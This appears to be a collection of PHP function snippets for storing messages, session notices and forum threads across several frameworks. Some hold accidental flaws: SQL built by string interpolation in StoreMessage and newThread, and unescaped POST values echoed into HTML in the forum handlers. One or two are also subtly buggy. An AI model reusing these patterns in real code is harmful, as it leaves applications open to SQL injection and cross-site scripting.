"function createThread($boardUrl, $subject, $comment, $user, $ip){\n R::begin();\n try {\n $board = boardByURL($boardUrl);\n $user = checkSetDefaultPoster($user, $board);\n $thread = R::dispense(TTHREAD::TABLE);\n R::store($thread);\n $post = _dispensePost($board, $subject, $comment, $user, $ip);\n $post[TPOST::ISOP] = true;\n R::store($post);\n array_push($thread[TTHREAD::POSTS], $post);\n array_push($board[TBOARD::THREADS], $thread);\n R::store($board);\n R::commit();\n } catch(Exception $e) {\n R::rollback();\n }\n \n }",
"public function record($msg) {\r\n \r\n // Busca a sessão portoweb existente\r\n $sessao = new Zend_Session_Namespace('portoweb');\r\n \r\n // Grava a mensagem na sessao\r\n $sessao->mensagemSistema = $msg;\r\n \r\n }",
"public function insert_message($user_id, $writer_id, $message, $log_as_event, $thread_id=null)\n {\n require_once('Validator.php');\n return $this->call('gst_message_insert', $user_id, $writer_id, $message, $thread_id, $log_as_event);\n }",
"public function setMessage($message, $type = false, $key = NULL) {\r\n\t\tif ($key) {\r\n\t\t\t$this->session->messages[$key] = array('message'=>$message, 'type'=>$type);\r\n\t\t} else {\r\n\t\t\t$this->session->messages[] = array('message'=>$message, 'type'=>$type);\r\n\t\t}\r\n\t}",
"private function check_message(){\t\t\tif(isset($_SESSION['message'])){\r\n\t\t\t\t// Add it as an attribute and erase the stored version\r\n\t\t\t\t\r\n\t\t\t\t$this->message = $_SESSION['message'];\r\n\t\t\t\tunset($_SESSION['message']);\r\n\t\t\t}else{\r\n\t\t\t\t$this->message=\"\";\r\n\t\t\t}\r\n\t\t\t\r\n\t\t\t\r\n\t\t}",
"public function storeMessage($limit=null) {\n\t\t$db = GetGlobal('db');\t\n\t\tif (empty($this->messages)) return null;\n\t\tif (!$h = GetReq('hash')) return null;\n\t\t//print_r($this->messages);\n\t\t$tokens = array(); \n\t\t$lim = $limit ? $limit : 6;\n\t\t\n\t\t//insert message into db\n\t\t$sSQL = \"insert into cpmessages (hash, msg, type, owner) values (\";\n\t\t$sSQL.= $db->qstr($h) . \",\";\n\t\t$sSQL.= $db->qstr(GetReq('msg')) . \",\";\n\t\t$sSQL.= $db->qstr(GetReq('type')) . \",\";\n\t\t$sSQL.= $db->qstr($this->owner);\n\t\t$sSQL.= \")\";\n\t\t//echo $sSQL;\n\t\t$result = $db->Execute($sSQL,1);\t\t\t \n\t\t$ret = $db->Affected_Rows(); \n\t\t\n\t\tif ($ret) {\n\t\t\n\t\t\t//delete msg from session\n\t\t\t$nm = array();\n\t\t\tforeach ($this->messages as $hash=>$message) {\n\t\t\t\tif ($h!=$hash) \n\t\t\t\t\t$nm[$hash] = $message;\n\t\t\t}\n\t\t\t$this->messages = (empty($nm)) ? null : $nm;\n\t\t\tSetSessionParam('cpMessages', $nm);\n\t\t\tif (empty($nm)) return null;\n\t\t\n\t\t\t//send out rest queue\n\t\t\t$msgs = array_reverse($nm, true);\n\t\t\t$i = 0;\n\t\t\tforeach ($msgs as $n=>$m) {\n\t\t\t\t$tokens = explode('|', $m); \n\t\t\t\tswitch (array_shift($tokens)) {\n\t\t\t\t\tcase 'important' : $tmpl = 'dropdown-notification-important'; break;\n\t\t\t\t\tcase 'success' : $tmpl = 'dropdown-notification-success'; break;\n\t\t\t\t\tcase 'warning' : $tmpl = 'dropdown-notification-warning'; break;\n\t\t\t\t\tcase 'error' : $tmpl = 'dropdown-notification-error'; break;\n\t\t\t\t\tcase 'info' :\n\t\t\t\t\tdefault : $tmpl = 'dropdown-notification-info';\n\t\t\t\t\n\t\t\t\t}\n\t\t\t\t$tdata = _m(\"cmsrt.select_template use $tmpl+1\");\n\t\t\t\t$ret .= $this->combine_tokens($tdata, $tokens, true);\n\t\t\t\tunset($tokens);\t\n\t\t\t\t$i+=1;\n\t\t\t\tif ($i>$lim) break;\n\t\t\t}\n\t\t}\n\t\t\n\t\treturn ($ret);\t\t\t\n\t}",
"function set_message_key($key, $val)\n{\n if(!isset($_SESSION[$key]))\n {\n $_SESSION[$key] = $val;\n }\n}",
"public function queue() {\n\t\t$this->prepareMessage();\n\t\t$this->queueRepository->add($this->toArray());\n\t}",
"function newthread( $args )\n\t{\n\t // if not logged in redirect\n\t if( !$this->app->user->is_logged_in() ){\n\t $this->app->redirect('user/login');\n\t }\n\t \n\t // get board id\n\t $board_id = (int) $args['id'];\n\t \n\t // get board info\n\t $boards_model = $this->app->\n\t model('forum_boards','forum/models');\n\t \n\t // get board item\n\t $board = $boards_model->get_item( $board_id );\n\t \n\t // check if board exists\n\t if( count($board) == 0 ){\n\t $this->app->redirect('forum');\n\t }\n\t \n\t // action message\n\t $action_message = null;\n\t \n\t \n\t \n\t // init failed submission values\n\t $name_value = '';\n\t $description_value = '';\n\t \n\t \n\t /* -------------------------\n\t * Check for form submission\n\t */\n\t if( $_SERVER['REQUEST_METHOD'] == 'POST' && \n\t isset( $_POST['name']) && \n\t $_POST['name'] != null &&\n\t isset( $_POST['description']) && \n\t $_POST['description'] != null\n\t ){\n\t \n\t // get threads model\n\t $threads_model = $this->app->\n\t model('forum_threads','forum/models');\n\t \n\t // add the new thread\n\t $success = $threads_model->\n\t new_item($this->app->user->get_user_id(), \n\t $board_id, $_POST );\n\t \n\t // test for success\n\t if( $success ){\n\t \n\t // get most recent thread\n\t $thread = $threads_model->last_thread();\n\t \n\t // increment thread count\n\t $boards_model->increment_thread($board_id);\n\t \n\t // redirect to the new thread\n\t $this->app->redirect('forum/thread/'.$thread['id']);\n\t }\n\t } elseif($_SERVER['REQUEST_METHOD'] == 'POST' ) {\n\t $action_message = \"One ore more required inputs were not \n\t provided.\";\n\t \n\t $name_value = 'value=\"'.$_POST['name'].'\"';\n\t $description_value = $_POST['description'];\n\t \n\t }\n\t \n\t // add init values\n\t $this->view->add('name_value',$name_value);\n\t $this->view->add('description_value',$description_value);\n\t \n\t // add action message\n\t $this->view->add('action_message',$action_message);\n\t \n\t \n\t \n\t /* -------------------------\n\t * Action paths defined here\n\t */\n\t \n\t // action on form submit\n\t $this->view->add('submit_action',\n\t $this->app->form_path('forum/newthread/'.$board_id));\n\t \n\t // get wysiwyg extension\n\t $wysiwyg = $this->app->extension('wysiwyg');\n\t \n\t // set page title\n\t $this->view->add('page_title','Create a new thread');\n\t \n\t}",
"public static function addMessage($message) {\n $messages = self::popMessage();\n if (is_array($messages)) {\n $messages[] = $message;\n } else {\n $messages = array();\n $messages[] = $message;\n }\n\n setcookie(self::$_name, serialize($messages), time() + self::$_time, self::$_path);\n }",
"public function store(Thread $thread, CreateReplyRequest $request)\n {\n $attributes = [\n 'body' => request('body'),\n 'user_id' => auth()->id(),\n 'thread_id' => $thread->id\n ];\n\n $reply = $thread->addReply($attributes);\n\n return $reply->load('creator');\n }",
"public function store(Request $request)\n {\n $threadId = $request->get('threadId');\n $msg = $request->get('msg');\n $thread = Thread::findOrFail($threadId);\n $thread->activateAllParticipants();\n // Message\n $msg = Message::create(\n [\n 'thread_id' => $thread->id,\n 'user_id' => $request->user()->id,\n 'body' => $msg,\n ]\n );\n\n // Add replier as a participant\n $participant = Participant::firstOrCreate(\n [\n 'thread_id' => $thread->id,\n 'user_id' => $request->user()->id\n ]\n );\n $participant->last_read = new Carbon();\n $participant->save();\n // Recipients\n if ($request->has('recipients')) {\n $thread->addParticipants($request->get('recipients'));\n }\n $msg->load('user');\n\n return response()->json($msg);\n }",
"function saveMsgReceived($profile_id, $msg, $conv, $msg_id, $date, $template=0, $watson_context=null, $account){\n\t\tglobal $db;\n\t\t$date = gettype($date)=='string'?$date:date('Y-m-d G:i:s', $date);\n\t\t$statement = $db->prepare('INSERT INTO msg_conversation (by_bot, profile_id, conv_id, msg_id, template_msg, msg, watson_context, date, accountID) VALUES (0, :profile_id, :conv, :msg_id, :template, :msg, :watson_context, :date, :account)');\n\t\t$statement->execute(array(':profile_id' => $profile_id, ':conv' => $conv, ':msg_id' => $msg_id, ':template'=>$template, ':msg' => $msg, ':watson_context'=>$watson_context, ':date'=>$date, ':account'=>$account));\n\t}",
"public function store()\n {\n $message = new Message(Request::all());\n\n $message->creator_id = user()->id;\n $message->updater_id = user()->id;\n $message->createSlug();\n $message->setReceiverByName(Request::get('receiver_name'));\n\n $okay = $message->save();\n\n if ($okay) {\n // Reset the message counter cache of the receiving user:\n Cache::forget(User::CACHE_KEY_MESSAGES.$message->receiver_id);\n\n $this->alertFlash(trans('messages::message_sent'));\n return Redirect::to('messages/outbox');\n } else {\n return Redirect::to('messages/create')->withInput()->withErrors($message->getErrors());\n }\n }",
"public function store(Request $request, Thread $thread)\n {\n if ($request->hasFile('thumbnail')) {\n\n $thumbnail = $request->file('thumbnail');\n \n $filename = time() . '.' . $thumbnail->getClientOriginalExtension();\n $location = public_path('/thumbnails/' . $filename);\n \n Image::make($thumbnail)->save($location);\n }\n\n $thread = Thread::create([\n \"user_id\" => auth()->id(),\n \"tag_id\" => $request->input('tag_id'),\n \"title\" => $request->input('title'),\n \"description\" => $request->input('description'),\n \"thumbnail\" => $thread->thumbnail = $filename,\n \"body\" => $request->input('body')\n ]);\n\n flash(e('You have successfully created ' . $thread->title . '!'), 'success');\n\n return redirect(\"/threads\");\n }",
"public function store(Request $request)\n {\n $thread = Thread::create([\n 'subject' => $request->get('subject','new'),\n ]);\n\n // Message\n Message::create([\n 'thread_id' => $thread->id,\n 'user_id' => Auth::user()->id,\n 'body' => $request->get('message'),\n ]);\n\n // Sender\n Participant::create([\n 'thread_id' => $thread->id,\n 'user_id' => Auth::user()->id,\n 'last_read' => new Carbon,\n ]);\n\n // Recipients\n if ($request->has('recipients')) {\n $thread->addParticipant($request->get('recipients'));\n }\n\n return response()->json($thread);\n }",
"private function check_message ()\n\t{\t\tif (isset($_SESSION['message']))\n\t\t{\n\t\t\t// Add it as an attribute and erase the stored version\n\t\t\t$this->message = $_SESSION['message'];\n\t\t\tunset($_SESSION['message']);\n\t\t}\n\t\telse\n\t\t{\n\t\t\t$this->message = \"\";\n\t\t}\n\t}",
"public function store($channelId, Thread $thread, Spam $spam)\n {\n $this->validate(request(), ['body' => 'required']);\n $spam->detect(request('body'));\n\n $reply = $thread->addReply([\n 'body' => request('body'),\n 'user_id' => auth()->id()\n ]);\n\n if (request()->expectsJson()) {\n return $reply->load('owner');\n }\n\n return back()->with('flash', 'Reply successfully created!');\n }",
"function newThread($member1_id, $member2_id)\n\t\t{\n\t\t\t$query=sqlite_exec($this->connection,\"INSERT INTO thread(member1_id, member2_id, date_created) VALUES($member1_id, $member2_id, NOW())\");\n\t\t\treturn sqlite_last_insert_rowid($this->connection);\n\t\t}",
"function setMessage($message, $status) {\n\t$_SESSION['message']['content'] = $message;\n\t$_SESSION['message']['status'] = $status;\n}",
"public function store(Request $request)\n {\n $request->validate([\n 'message' => 'required',\n 'message_id' => 'required'\n ]);\n\n // Temporary logic\n $user = Auth::user();\n $message = new Message;\n \n $message->message = $request->message;\n $message->user_id = Auth::user()->id;\n if($user->hasRole('admin') || $user->hasRole('user') || $user->hasRole('ap')){\n $message->reply_to = $request->message_id;\n }\n \n $last_message = Message::where('last_message_for', $request->message_id)->first();\n if($last_message){\n $last_message->last_message_for = null;\n $last_message->save();\n }\n\n if($message->save()){\n if(!$last_message){\n Message::where('id', $message->id)->update(['last_message_for' => $request->message_id]);\n }\n\n Message::where('id', $message->id)->update(['last_message_for' => $request->message_id]);\n $new_message = Message::with('user', 'recipient')->where('id', $message->id)->get();\n broadcast(new MessageSent($user, $new_message))->toOthers();\n return $new_message;\n }\n }",
"public function store(VideoMessageRequest $request,\n StoreVideoMessage $storeVideoMessage,\n Thread $thread): MessageResource\n {\n $this->authorize('createVideo', [\n Message::class,\n $thread,\n ]);\n\n return $storeVideoMessage->execute(\n $thread,\n $request->validated(),\n $request->ip()\n )->getJsonResource();\n }",
"public function store(Request $request)\n {\n request()->validate([\n 'title' => 'required',\n 'content' => 'required',\n ]);\n\n $thread = new Thread;\n $thread->user_id = auth()->user()->id;\n $thread->title = request('title');\n $thread->content = request('content');\n $thread->save();\n\n session()->flash('successMessage', 'Pertanyaan telah tersimpan');\n return redirect()->back();\n }",
"public function sendMessage()\n {\n $userId = auth()->user()->id;\n\n // Save the message\n Message::create([\n 'room_id' => $this->roomId,\n 'user_id' => $userId,\n 'message' => $this->message,\n ]);\n\n // Remove the value of the message after saving\n $this->message = \"\";\n\n // Prompt the server that we sent a message\n $this->dispatchBrowserEvent('chat-send-message', [\n 'room_id' => $this->roomId,\n 'user_id' => $userId,\n ]);\n }",
"function StoreMessage($To, $CC, $Subject, $message, $MFrom, $wid) {\n\n $midq = \"SELECT mid FROM Messages ORDER BY mid\";\n\t\t$wfhist = $this->query($midq);\n\t\tforeach($wfhist as $row){\n $mid = $row['mid'] + 1;\n }\n\n $rid = $_SESSION['rid'];\n\t\t$dateSent = date('F j, Y');\n\t\t$timeSent = date('Hi');\n\t\t$timeZone = date('e');\n\t\t$MStatus = \"Unread\";\n\t\t$OpenLinkSrc = \"https://\".$_SESSION['domain'].\"/showMessage.php?mid=\".$mid.\"\";\n\n $newmessage = htmlentities($message);\n $newsubject = htmlentities($Subject);\n\t\t//echo \"New Message: \".$newmessage.\"\";\n\t\t//Insert into Messages\n $messageq = \"INSERT INTO Messages (mid,MTo,CC,Subject,Message,MFrom,rid,wid,dateSent,timeSent,timeZone,MStatus,OpenLink) VALUES ($mid,'$To','$CC','$newsubject','$newmessage','$MFrom','$rid','$wid','$dateSent','$timeSent','$timeZone','$MStatus','$OpenLinkSrc')\";\n\t\t//$messageq = \"INSERT INTO Messages (mid,MTo,CC,Subject,Message,MFrom,rid,wid) VALUES ($mid,'$To','$CC','$newsubject','$newmessage','$MFrom','$rid','$wid')\";\n $InsertMessageHistory = $this->query($messageq);\n\t\t//$InsertMessageHistory = sqlsrv_query($conn, $messageq);\n }",
"public function store(Request $request)\n {\n // dd($request);\n //\n $tags = $request->tags;\n foreach ($tags as $key => $tag) {\n if (!is_numeric($tag)) {\n $tags[$key] = Tag::create(['name' => $tag])->id;\n } else {\n if (Tag::where('name', '=', $tag)->count() < 1) {\n $tags[$key] = Tag::create(['name' => $tag])->id;\n }\n }\n }\n\n $this->validate($request, [\n 'subject' => 'required|min:5',\n 'tags' => 'required',\n 'thread' => 'required|min:10',\n// 'g-recaptcha-response' => 'required|captcha'\n ]);\n\n //store\n $thread = auth()->user()->threads()->create($request->all())->tags()->attach($tags);\n // $thread->tags()->attach($request->tags);\n\n //redirect\n return back()->withMessage('Thread Created!');\n\n }",
"public function message($message): void\n {\n $this->messages[] = $message;\n }",
"public function store(Thread $thread)\n {\n $thread->addSubscription();\n\n return response('Subscription added', 200);\n }",
"public function addMessage($message);",
"function thread( $args )\n\t{\n\t $thread_id = (int)$args['id'];\n\t \n\t // check for existance, use threads model\n\t $threads_model = $this->app->\n\t model('forum_threads','forum/models');\n\t \n\t\t// boards model\n\t\t$boards_model = $this->app->\n\t\t model('forum_boards', 'forum/models'); \n\t \n\t // posts model\n\t $posts_model = $this->app->\n\t model('forum_posts','forum/models');\n\t \n\t // get item\n\t $thread = $threads_model->get_item( $thread_id );\n\t $thread = ( count($thread) > 0 ) ? $thread[0] : null;\n\t \n\t \n\t // imprtant stuffs\n\t if( $thread == null ){\n\t \n\t \t// redirect\n\t \t$this->app->redirect('forum');\n\t }\n\t \n\t \n // get board\n $board = $boards_model->get_item((int)$thread['board_id']);\n $board = $board[0];\n \n // set page title\n $this->view->add('page_title',\n 'Viewing thread: ' . $thread['name'] );\n \n // set index action\n $this->view->add('index_action',\n $this->app->form_path('forum'));\n \n // set board action\n $this->view->add('board_action',\n $this->app->form_path('forum/board/'.$board['id']));\n \n // good\n $this->view->add('board_name', $board['name'] );\n\t \n\t // need an action message\n\t $action_message = null;\n\t \n\t // init text area values\n\t $name_value = '';\n\t $post_value = '';\n\t \n\t \n\t // check for post\n\t if( $_SERVER['REQUEST_METHOD'] == 'POST' &&\n\t \tisset($_POST['name']) &&\n\t \t$_POST['name'] != null &&\n\t \tisset($_POST['post']) &&\n\t \t$_POST['name'] != null \n\t ){\n\t \t\n\t \t// add success\n\t \t$success = $posts_model->new_item( \n\t \t\t$this->app->user->get_user_id(), $thread_id, $_POST );\n\t \t\n\t \t// test for success\n\t \tif( $success ){\n\t \t\n\t \t\t// increment reply count\n\t \t\t$threads_model->increment_reply( $thread_id );\n\t \t\t\t \t\n\t \t\t$action_message = 'Post successfully added.';\n\t \t} else {\n\t \t\t$action_message = 'There was an error adding your post';\n\t \t}\n\t \t\n\t } elseif( $_SERVER['REQUEST_METHOD'] == 'POST' ) {\n\t \t\n\t \t$action_message = 'One or more required fields was not\n\t \t\tprovided';\n\t \t\t\n\t \t// update values\n\t\t\t$name_value = 'value=\"'.$_POST['name'].'\"';\n\t\t\t$post_value = $_POST['post'];\n\t }\n\t \n\t \n\t // add them\n\t $this->view->add('name_value',$name_value);\n\t $this->view->add('post_value',$post_value);\n\t \n\t // add actio message\n\t $this->view->add('action_message',$action_message);\n\t \n\t // get limits\n\t $limit = 10;\n\t \n\t // get page\n\t $page = 0;\n\t if( isset($_GET['p']) ){\n\t $page = (int)$_GET['p'];\n\t }\n\t \n\t // get replies\n\t $posts_result = $posts_model->limit($limit)->page($page)->\n\t get_all($thread_id);\n\t \n\t //\n\t $this->view->add('posts_result',$posts_result);\n\t \n\t $reply_count = ($thread==null) ? 0 :(int)$thread['reply_count'];\n\t \n\t // add paging\n\t $this->view->add('page_info',array(\n\t // posts count\n\t 'page_count' => (int)(($reply_count) / $limit)+1,\n\t 'this_page' => $page\n\t ));\n\t \n\t \n\t // add actions\n\t $this->view->add('page_action',\n\t $this->app->form_path('forum/thread/'.$thread_id.'?p='));\n\t \n\t $this->view->add('reply_action',$this->app->\n\t form_path('forum/thread/'.$thread_id.'?p='.$page));\n\t \n\t \n\t // add to the view\n\t $this->view->add('thread_result',$thread);\n\t \n\t \n\t // get wysiwyg extension\n\t $wysiwyg = $this->app->extension('wysiwyg');\n\t \n\t}",
"function text_message_submit($form, &$form_state) {\n global $user;\n if (isset($form_state['values']['id_msg'])) {\n $entity = entity_load('text_msg', array($form_state['values']['id_msg']));\n $wrapper = entity_metadata_wrapper('text_msg', $entity[$form_state['values']['id_msg']]);\n $wrapper->title = check_plain($form_state['values']['title_msg']);\n $wrapper->body = check_plain($form_state['values']['body_msg']);\n $wrapper->save();\n }\n else {\n $entity = entity_create('text_msg', array(\n 'uid' => $user->uid,\n 'type' => rand(),\n 'title' => check_plain($form_state['values']['title_msg']),\n 'body' => check_plain($form_state['values']['body_msg']),\n ));\n entity_save('text_msg', $entity);\n }\n drupal_goto('training/message');\n}",
"function ajan_core_setup_message() {\n\n\t// Get ActivityNotifications\n\t$ajan = activitynotifications();\n\n\tif ( empty( $ajan->template_message ) && isset( $_COOKIE['ajan-message'] ) ) {\n\t\t$ajan->template_message = stripslashes( $_COOKIE['ajan-message'] );\n\t}\n\n\tif ( empty( $ajan->template_message_type ) && isset( $_COOKIE['ajan-message-type'] ) ) {\n\t\t$ajan->template_message_type = stripslashes( $_COOKIE['ajan-message-type'] );\n\t}\n\n\tadd_action( 'template_notices', 'ajan_core_render_message' );\n\n\tif ( isset( $_COOKIE['ajan-message'] ) ) {\n\t\t@setcookie( 'ajan-message', false, time() - 1000, COOKIEPATH );\n\t}\n\n\tif ( isset( $_COOKIE['ajan-message-type'] ) ) {\n\t\t@setcookie( 'ajan-message-type', false, time() - 1000, COOKIEPATH );\n\t}\n}",
"function createThread() {\n\t//create thread\n\techo $_POST[\"title\"] . \"<br/>\";\n\t$db = DB::$connection;\n\t$db->setAttribute( PDO::ATTR_ERRMODE, PDO::ERRMODE_WARNING );\n\n\t$sql = \"INSERT INTO threads(title,userid,date) VALUES (?,?,NOW())\";\n\t$stmt = $db->prepare($sql);\n\t$stmt->execute(array(htmlspecialchars($_POST[\"title\"]),$_SESSION['currentUser']));\n\t$trd_id = $db->lastInsertId();\n\techo $trd_id;\n\n\t// post to thread\n\t$db->setAttribute( PDO::ATTR_ERRMODE, PDO::ERRMODE_WARNING );\n\n\n\t$threadid = $trd_id;\n\t$postbody = $_POST[\"postbody\"];\n\t$userid = $_SESSION['currentUser'];\n\n\t// post to thread\n\t$sql = 'INSERT INTO posts(threadid,postbody,userid,date) VALUES(?,?,?,NOW())';\n\t$stmt = $db->prepare($sql);\n\t$stmt->execute(array(htmlspecialchars($threadid),($postbody),($userid)));\n\treturn $trd_id;\n}",
"function setMessage($message=''){\n $_SESSION['message'] = $message;\n }",
"function mark_thread_messages_read_main($message_thread_code)\n {\n $current_user = $this->session->userdata('login_type') . '-' . $this->session->userdata('login_user_id');\n $this->db->where('sender !=', $current_user);\n $this->db->where('message_thread_code', $message_thread_code);\n $this->db->update('admin_message', array('read_status' => 1));\n //echo $this->db->last_query();die;\n \n }",
"public static function createThread($user_id)\n\t{\n\t\tif (!Input::has('subject')) {\n\t\t\tthrow new Exception('Your message must have a subject');\n\t\t}\n\n\t\t// set subject from input\n\t\t$subject = Input::get('subject');\n\n\t\t// make sure subject is not greater than 100 characters\n\t\tif (strlen($subject) > 100) {\n\t\t\tthrow new Exception('Please limit the subject of your message to 100 characters');\t\t\n\t\t}\n\n\t\t// make sure recipients of the thread were sent\n\t\tif(!is_array(Input::get('recipient'))) {\n\t\t\tthrow new Exception('There must be a recipient of your message');\n\t\t}\n\n\t\t// set recipients from input\n\t\t$recipients = Input::get('recipient');\n\n\t\t// loop through all the recipients and...\n\t\tforeach ($recipients as $recipient) {\n\t\t\t// make sure every recipient is numeric\n\t\t\tif (!is_numeric($recipient)) {\n\t\t\t\tthrow new Exception('Invalid recipient');\n\t\t\t}\n\t\t}\n\n\t\t// make sure message body was sent\n\t\tif (!Input::has('body')) {\n\t\t\tthrow new Exception('The body of your message may not be blank');\n\t\t}\n\n\t\t// set body from input\n\t\t$body = Input::get('body');\n\n\t\t// make sure body is not greater than 1024 characters\n\t\tif (strlen($body) > 1024) {\n\t\t\tthrow new Exception('Please limit the body of your message to 1024 characters (it currently has ' . strlen($body) . ')');\t\t\n\t\t}\n\n\t\t// create a transaction to wrap the creation of Thread, UsersThread, Message, and UsersMessage\n\t\tDB::transaction(function() use ($user_id, $subject, $recipients, $body)\n\t\t{\n\t\t\ttry {\n\t\t\t\t// create new thread\n\t\t\t\t$thread = new Thread();\n\t\t\t\t$thread->subject = $subject;\n\t\t\t\t$thread->save();\n\t\t\t} catch (Exception $e) {\n\t\t\t\tthrow new Exception('Could not create conversation');\n\t\t\t}\n\n\t\t\ttry {\n\t\t\t\t// create record of author in users_threads\n\t\t\t\t$author_thread = new UsersThread();\n\t\t\t\t$author_thread->user_id = $user_id;\n\t\t\t\t$author_thread->thread_id = $thread->id;\n\t\t\t\t$author_thread->save();\n\t\t\t} catch (Exception $e) {\n\t\t\t\tthrow new Exception('Could not create authors connection to conversation');\n\t\t\t}\n\n\t\t\t// loop through all the recipients and...\n\t\t\tforeach ($recipients as $recipient) {\n\n\t\t\t\t// make sure the recipient is not the author\n\t\t\t\tif ($recipient != $user_id) {\n\t\t\t\t\ttry {\n\t\t\t\t\t\t// create record of recipient in users_threads\n\t\t\t\t\t\t$recipient_thread = new UsersThread();\n\t\t\t\t\t\t$recipient_thread->user_id = $recipient;\n\t\t\t\t\t\t$recipient_thread->thread_id = $thread->id;\n\t\t\t\t\t\t$recipient_thread->save();\n\t\t\t\t\t} catch (Exception $e) {\n\t\t\t\t\t\tthrow new Exception('Could not create recipients connection to conversation');\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\n\t\t\t// create message (users threads caches are deleted in createMessage)\n\t\t\tMessagesService::createMessage($thread->id, $user_id, $recipients, $body);\t\t\t\n\t\t});\n\t}",
"public static function store(Request $request)\n { \n $message = new Message ();\n $message->from_users_id = Auth::user()->id;\n $message->to_users_id = $request->get('user-id');\n $message->message = $request->get('message');\n $message->offer_id = $request->get('offer-id');\n $message->is_read = 0;\n $message->save();\n \n\t\t\n\t\tif(!empty($request->get('parent_msg'))){\n\t\t\t$child_id = $message->id;\n \t$reply = MessageReplyController::store ($request, $child_id);\n Message::find($request->get('parent_msg'))\n ->touch();\n\t\t}\n \n if(is_null($request->get('offer')))\n return redirect('/message');\n \n return redirect('/offer');\n }",
"public function push($message);",
"public function addMessageAction(){\n if (!$this->_validateFormKey()) return $this->_redirect('inchoo/tickets');\n\n if ($this->getRequest()->isPost()) {\n $ticketId = $this->getRequest()->getPost('ticket_id');\n $message = Mage::getModel('inchoo_tickets/message');\n\n $message->setTicket_id($ticketId)\n ->setMessage($this->getRequest()->getPost('message'))\n ->setAuthor(true); // true=customer\n\n if ($message->validateMessage()) $message->save();\n }\n\n $this->_redirect(\"inchoo/tickets/view/ticket/$ticketId\");\n }",
"protected static function addMessage(stdClass $message) {\n $i = PitSession::get('PitFlash', 'i', 1);\n $msgs = PitSession::get('PitFlash', 'messages', array());\n $msgs[$i] = $message;\n PitSession::set('PitFlash', 'i', $i + 1);\n PitSession::set('PitFlash', 'messages', $msgs);\n }",
"function ciniki_core_threadAdd(&$ciniki, $module, $object, $table, $history_table, $args) {\n //\n // All arguments are assumed to be un-escaped, and will be passed through dbQuote to\n // ensure they are safe to insert.\n //\n\n // Required functions\n ciniki_core_loadMethod($ciniki, 'ciniki', 'core', 'private', 'dbQuote');\n ciniki_core_loadMethod($ciniki, 'ciniki', 'core', 'private', 'dbInsert');\n\n //\n // Don't worry about autocommit here, it's taken care of in the calling function\n //\n\n //\n // Get a new UUID\n //\n ciniki_core_loadMethod($ciniki, 'ciniki', 'core', 'private', 'dbUUID');\n $rc = ciniki_core_dbUUID($ciniki, $module);\n if( $rc['stat'] != 'ok' ) {\n return $rc;\n }\n $uuid = $rc['uuid'];\n\n // \n // Setup the SQL statement to insert the new thread\n //\n $strsql = \"INSERT INTO $table (uuid, tnid, user_id, subject, state, \"\n . \"source, source_link, options, \"\n . \"date_added, last_updated) VALUES (\"\n . \"'\" . ciniki_core_dbQuote($ciniki, $uuid) . \"', \"\n . \"\";\n\n // tnid\n if( isset($args['tnid']) && $args['tnid'] != '' && $args['tnid'] > 0 ) {\n $strsql .= \"'\" . ciniki_core_dbQuote($ciniki, $args['tnid']) . \"', \";\n } else {\n return array('stat'=>'fail', 'err'=>array('code'=>'ciniki.core.373', 'msg'=>'Required argument missing', 'pmsg'=>'No tnid'));\n }\n\n // user_id\n if( isset($args['user_id']) && $args['user_id'] != '' && $args['user_id'] > 0 ) {\n $strsql .= \"'\" . ciniki_core_dbQuote($ciniki, $args['user_id']) . \"', \";\n } else {\n return array('stat'=>'fail', 'err'=>array('code'=>'ciniki.core.374', 'msg'=>'Required argument missing', 'pmsg'=>'No user_id'));\n }\n\n // subject\n if( isset($args['subject']) && $args['subject'] != '' ) {\n $strsql .= \"'\" . ciniki_core_dbQuote($ciniki, $args['subject']) . \"', \";\n } else {\n return array('stat'=>'fail', 'err'=>array('code'=>'ciniki.core.375', 'msg'=>'Required argument missing', 'pmsg'=>'No subject'));\n }\n\n // state - optional\n if( isset($args['state']) && $args['state'] != '' ) {\n $strsql .= \"'\" . ciniki_core_dbQuote($ciniki, $args['state']) . \"', \";\n } else {\n $strsql .= \"'', \";\n }\n\n // source - optional\n if( isset($args['source']) && $args['source'] != '' ) {\n $strsql .= \"'\" . ciniki_core_dbQuote($ciniki, $args['source']) . \"', \";\n } else {\n $strsql .= \"'', \";\n }\n\n // source_link - optional\n if( isset($args['source_link']) && $args['source_link'] != '' ) {\n $strsql .= \"'\" . ciniki_core_dbQuote($ciniki, $args['source_link']) . \"', \";\n } else {\n $strsql .= \"'', \";\n }\n\n // options - optional\n if( isset($args['options']) && $args['options'] != '' ) {\n $strsql .= \"'\" . ciniki_core_dbQuote($ciniki, $args['options']) . \"', \";\n } else {\n $strsql .= \"'0', \";\n }\n\n $strsql .= \"UTC_TIMESTAMP(), UTC_TIMESTAMP())\";\n\n $rc = ciniki_core_dbInsert($ciniki, $strsql, $module);\n if( $rc['stat'] != 'ok' ) {\n return $rc;\n }\n $thread_id = $rc['insert_id'];\n\n ciniki_core_dbAddModuleHistory($ciniki, $module, $history_table, $tnid,\n 1, $table, $thread_id, 'uuid', $uuid);\n if( isset($args['user_id']) && $args['user_id'] != '' && $args['user_id'] > 0 ) {\n ciniki_core_dbAddModuleHistory($ciniki, $module, $history_table, $tnid,\n 1, $table, $thread_id, 'user_id', $args['user_id']);\n }\n if( isset($args['subject']) && $args['subject'] != '' ) {\n ciniki_core_dbAddModuleHistory($ciniki, $module, $history_table, $tnid,\n 1, $table, $thread_id, 'subject', $args['subject']);\n }\n if( isset($args['state']) && $args['state'] != '' ) {\n ciniki_core_dbAddModuleHistory($ciniki, $module, $history_table, $tnid,\n 1, $table, $thread_id, 'state', $args['state']);\n }\n if( isset($args['source']) && $args['source'] != '' ) {\n ciniki_core_dbAddModuleHistory($ciniki, $module, $history_table, $tnid,\n 1, $table, $thread_id, 'source', $args['source']);\n }\n if( isset($args['source_link']) && $args['source_link'] != '' ) {\n ciniki_core_dbAddModuleHistory($ciniki, $module, $history_table, $tnid,\n 1, $table, $thread_id, 'source_link', $args['source_link']);\n }\n if( isset($args['options']) && $args['options'] != '' ) {\n ciniki_core_dbAddModuleHistory($ciniki, $module, $history_table, $tnid,\n 1, $table, $thread_id, 'options', $args['options']);\n }\n //\n // Sync push\n //\n $ciniki['syncqueue'][] = array('push'=>$module . '.' . $object, \n 'args'=>array('id'=>$thread_id));\n\n return $rc;\n}",
"protected function setMessageType()\n {\n }",
"public function add_message($message){\n $this->messages[] = $message;\n }",
"public function create()\n {\n //\n $this->message->sendMessage();\n }",
